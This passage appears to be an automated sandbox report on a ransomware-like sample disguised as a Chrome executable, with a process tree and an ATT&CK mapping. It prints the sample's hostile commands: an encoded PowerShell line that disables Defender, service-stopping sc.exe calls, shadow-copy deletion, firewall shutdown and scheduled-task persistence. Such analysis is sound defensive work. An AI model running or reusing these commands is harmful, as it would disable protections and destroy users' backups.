PID 2884 wrote to memory of 844	2884	lumm.io_chrome.exe	144
PID 2884 wrote to memory of 2676	2884	lumm.io_chrome.exe	145
PID 2884 wrote to memory of 5280	2884	lumm.io_chrome.exe	146
PID 2884 wrote to memory of 4284	2884	lumm.io_chrome.exe	147
PID 2884 wrote to memory of 596	2884	lumm.io_chrome.exe	148
PID 2884 wrote to memory of 2716	2884	lumm.io_chrome.exe	150
PID 2884 wrote to memory of 6128	2884	lumm.io_chrome.exe	157
PID 2884 wrote to memory of 3936	2884	lumm.io_chrome.exe	158
PID 2884 wrote to memory of 4732	2884	lumm.io_chrome.exe	159
PID 2884 wrote to memory of 5504	2884	lumm.io_chrome.exe	160
PID 2884 wrote to memory of 4168	2884	lumm.io_chrome.exe	161
PID 2884 wrote to memory of 4752	2884	lumm.io_chrome.exe	162
PID 2884 wrote to memory of 4960	2884	lumm.io_chrome.exe	163
PID 2676 wrote to memory of 3232	2676	cmd.exe	170
PID 328 wrote to memory of 1612	328	cmd.exe	171
PID 5280 wrote to memory of 4916	5280	cmd.exe	172
PID 4284 wrote to memory of 324	4284	cmd.exe	173
PID 596 wrote to memory of 1568	596	cmd.exe	189
PID 4916 wrote to memory of 796	4916	net.exe	175
PID 5504 wrote to memory of 5572	5504	net.exe	176
PID 4520 wrote to memory of 1264	4520	cmd.exe	177
PID 844 wrote to memory of 3120	844	cmd.exe	179
PID 328 wrote to memory of 4704	328	cmd.exe	180
PID 4748 wrote to memory of 1772	4748	chrome.exe	181
PID 4748 wrote to memory of 1636	4748	chrome.exe	182
PID 4748 wrote to memory of 4840	4748	chrome.exe	183
PID 4748 wrote to memory of 6016	4748	chrome.exe	184
PID 4748 wrote to memory of 3032	4748	chrome.exe	186

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\lumm.io_chrome.exe
"C:\Users\Admin\AppData\Local\Temp\lumm.io_chrome.exe"
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Creates a file in the Startup directory
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2884
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" http://lumm.io/
  2⤵
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of WriteProcessMemory
  PID:4748
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0x104,0x134,0x7ffabbd2c728,0x7ffabbd2c734,0x7ffabbd2c740
    3⤵
    PID:4404
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1404,i,12522810260220530122,15644311441827956593,524288 --field-trial-handle=1920,i,197146539100037046,8598731719557397484,262144 --variations-seed-version --mojo-platform-channel-handle=2068 /prefetch:11
    3⤵
    - System Time Discovery
    PID:3424
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1620,i,11576043207854391652,5097538484484077389,262144 --field-trial-handle=1920,i,197146539100037046,8598731719557397484,262144 --variations-seed-version --mojo-platform-channel-handle=1916 /prefetch:2
    3⤵
    PID:3156
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2172,i,3443931880589819355,1839459668471646252,524288 --field-trial-handle=1920,i,197146539100037046,8598731719557397484,262144 --variations-seed-version --mojo-platform-channel-handle=2080 /prefetch:13
    3⤵
    PID:3380
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3104,i,3925314716115370205,3393314029487735380,2097152 --field-trial-handle=1920,i,197146539100037046,8598731719557397484,262144 --variations-seed-version --mojo-platform-channel-handle=3244 /prefetch:1
    3⤵
    PID:1308
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3112,i,6636640059203761327,13249968545313576456,2097152 --field-trial-handle=1920,i,197146539100037046,8598731719557397484,262144 --variations-seed-version --mojo-platform-channel-handle=3264 /prefetch:1
    3⤵
    PID:4672
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4640,i,2172785635276918059,13051727814248352700,524288 --field-trial-handle=1920,i,197146539100037046,8598731719557397484,262144 --variations-seed-version --mojo-platform-channel-handle=4652 /prefetch:14
    3⤵
    PID:1304
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4808,i,7613789380398489619,18038255789046281833,2097152 --field-trial-handle=1920,i,197146539100037046,8598731719557397484,262144 --variations-seed-version --mojo-platform-channel-handle=4836 /prefetch:1
    3⤵
    PID:572
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=256,i,10590053783021278845,352232403023557057,524288 --field-trial-handle=1920,i,197146539100037046,8598731719557397484,262144 --variations-seed-version --mojo-platform-channel-handle=5500 /prefetch:14
    3⤵
    PID:1772
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=3280,i,10350670752818798961,17161750629725262807,524288 --field-trial-handle=1920,i,197146539100037046,8598731719557397484,262144 --variations-seed-version --mojo-platform-channel-handle=5512 /prefetch:14
    3⤵
    PID:1636
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=3284,i,17267432929696793493,4505088778103575567,524288 --field-trial-handle=1920,i,197146539100037046,8598731719557397484,262144 --variations-seed-version --mojo-platform-channel-handle=3268 /prefetch:14
    3⤵
    PID:4840
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5592,i,8038519521222756177,14340028366656407409,524288 --field-trial-handle=1920,i,197146539100037046,8598731719557397484,262144 --variations-seed-version --mojo-platform-channel-handle=5596 /prefetch:14
    3⤵
    PID:6016
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --metrics-shmem-handle=5644,i,5317919339662278273,6729709429276062804,2097152 --field-trial-handle=1920,i,197146539100037046,8598731719557397484,262144 --variations-seed-version --mojo-platform-channel-handle=3304 /prefetch:1
    3⤵
    PID:6000
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --metrics-shmem-handle=5656,i,4362195443472467503,12404436541395411225,2097152 --field-trial-handle=1920,i,197146539100037046,8598731719557397484,262144 --variations-seed-version --mojo-platform-channel-handle=3332 /prefetch:1
    3⤵
    PID:3032
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --metrics-shmem-handle=5920,i,16869675347193865574,13168465255893850313,2097152 --field-trial-handle=1920,i,197146539100037046,8598731719557397484,262144 --variations-seed-version --mojo-platform-channel-handle=5660 /prefetch:1
    3⤵
    PID:1568
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5964,i,1109617289071282907,797324936917255059,524288 --field-trial-handle=1920,i,197146539100037046,8598731719557397484,262144 --variations-seed-version --mojo-platform-channel-handle=5492 /prefetch:14
    3⤵
    PID:5948
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --metrics-shmem-handle=4284,i,7482709898823003989,17838220946302033885,2097152 --field-trial-handle=1920,i,197146539100037046,8598731719557397484,262144 --variations-seed-version --mojo-platform-channel-handle=5656 /prefetch:1
    3⤵
    PID:1172
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --metrics-shmem-handle=3360,i,11706097508893237878,15999613194988198001,2097152 --field-trial-handle=1920,i,197146539100037046,8598731719557397484,262144 --variations-seed-version --mojo-platform-channel-handle=5564 /prefetch:1
    3⤵
    PID:5432
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --metrics-shmem-handle=6132,i,1711936205685116777,3060846672886268202,2097152 --field-trial-handle=1920,i,197146539100037046,8598731719557397484,262144 --variations-seed-version --mojo-platform-channel-handle=4284 /prefetch:1
    3⤵
    PID:1372
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --metrics-shmem-handle=5012,i,8616552509784007393,18282463753795718580,2097152 --field-trial-handle=1920,i,197146539100037046,8598731719557397484,262144 --variations-seed-version --mojo-platform-channel-handle=5796 /prefetch:1
    3⤵
    PID:2076
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5860,i,12252900893150400397,8191821724560960891,524288 --field-trial-handle=1920,i,197146539100037046,8598731719557397484,262144 --variations-seed-version --mojo-platform-channel-handle=4736 /prefetch:14
    3⤵
    PID:5552
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --metrics-shmem-handle=5808,i,15134774442412599764,7064673579990583829,2097152 --field-trial-handle=1920,i,197146539100037046,8598731719557397484,262144 --variations-seed-version --mojo-platform-channel-handle=6132 /prefetch:1
    3⤵
    PID:4316
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5800,i,5631883991515122658,13022234380806186503,524288 --field-trial-handle=1920,i,197146539100037046,8598731719557397484,262144 --variations-seed-version --mojo-platform-channel-handle=3312 /prefetch:14
    3⤵
    PID:5712
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --metrics-shmem-handle=5916,i,14285686228391010288,8899285495401192058,2097152 --field-trial-handle=1920,i,197146539100037046,8598731719557397484,262144 --variations-seed-version --mojo-platform-channel-handle=5872 /prefetch:1
    3⤵
    PID:924
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --metrics-shmem-handle=4672,i,15941833803513132386,18122020301779399036,2097152 --field-trial-handle=1920,i,197146539100037046,8598731719557397484,262144 --variations-seed-version --mojo-platform-channel-handle=4720 /prefetch:9
    3⤵
    PID:5232
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=6068,i,9834075885794753401,9019205748670035888,262144 --field-trial-handle=1920,i,197146539100037046,8598731719557397484,262144 --variations-seed-version --mojo-platform-channel-handle=5168 /prefetch:10
    3⤵
    PID:3092
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4620
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:856
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config wscsvc start= disabled
  2⤵
  - Launches sc.exe
  PID:5008
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop SecurityHealthService
  2⤵
  - Launches sc.exe
  PID:2848
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
  2⤵
  - Launches sc.exe
  PID:4352
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop WinDefend
  2⤵
  - Launches sc.exe
  PID:4372
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config WinDefend start= disabled
  2⤵
  - Launches sc.exe
  PID:3276
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop MsMpSvc
  2⤵
  - Launches sc.exe
  PID:3712
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:4436
- C:\Windows\System32\fodhelper.exe
  "C:\Windows\System32\fodhelper.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3744
- - C:\Users\Admin\AppData\Local\Temp\lumm.io_chrome.exe
    "C:\Users\Admin\AppData\Local\Temp\lumm.io_chrome.exe"
    3⤵
    PID:1500
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:4292
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wuauserv
  2⤵
  - Launches sc.exe
  PID:2492
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:3964
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5176
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:2456
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\lumm.io_chrome.exe" /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5884
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\lumm.io_chrome.exe" /sc minute /mo 30 /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:436
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:4292
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:328
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:1612
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:4704
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4520
- - C:\Windows\system32\systeminfo.exe
    systeminfo
    3⤵
    - Gathers system information
    PID:1264
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:844
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    PID:3120
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2676
- - C:\Windows\system32\whoami.exe
    whoami
    3⤵
    PID:3232
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5280
- - C:\Windows\system32\net.exe
    net user
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4916
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user
      4⤵
      PID:796
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4284
- - C:\Windows\system32\ipconfig.exe
    ipconfig /all
    3⤵
    - Gathers network information
    PID:324
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:596
- - C:\Windows\system32\NETSTAT.EXE
    netstat -an
    3⤵
    - Gathers network information
    PID:1568
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\lumm.io_chrome.exe" /sc daily /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2716
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:6128
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:3936
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4732
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" stop srservice
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5504
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop srservice
    3⤵
    PID:5572
- C:\Windows\System32\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:4168
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config i8042prt start= disabled
  2⤵
  - Launches sc.exe
  PID:4752
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:436
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop i8042prt
  2⤵
  - Launches sc.exe
  PID:4960

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:252

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:6064

C:\Users\Admin\AppData\Local\Temp\lumm.io_chrome.exe
C:\Users\Admin\AppData\Local\Temp\lumm.io_chrome.exe
1⤵
PID:5584

C:\Users\Admin\AppData\Local\Temp\lumm.io_chrome.exe
C:\Users\Admin\AppData\Local\Temp\lumm.io_chrome.exe
1⤵
PID:5072

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:1784

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
- Modifies data under HKEY_USERS
PID:4456

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
1⤵
PID:5552

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

Query Registry

T1012

System Information Discovery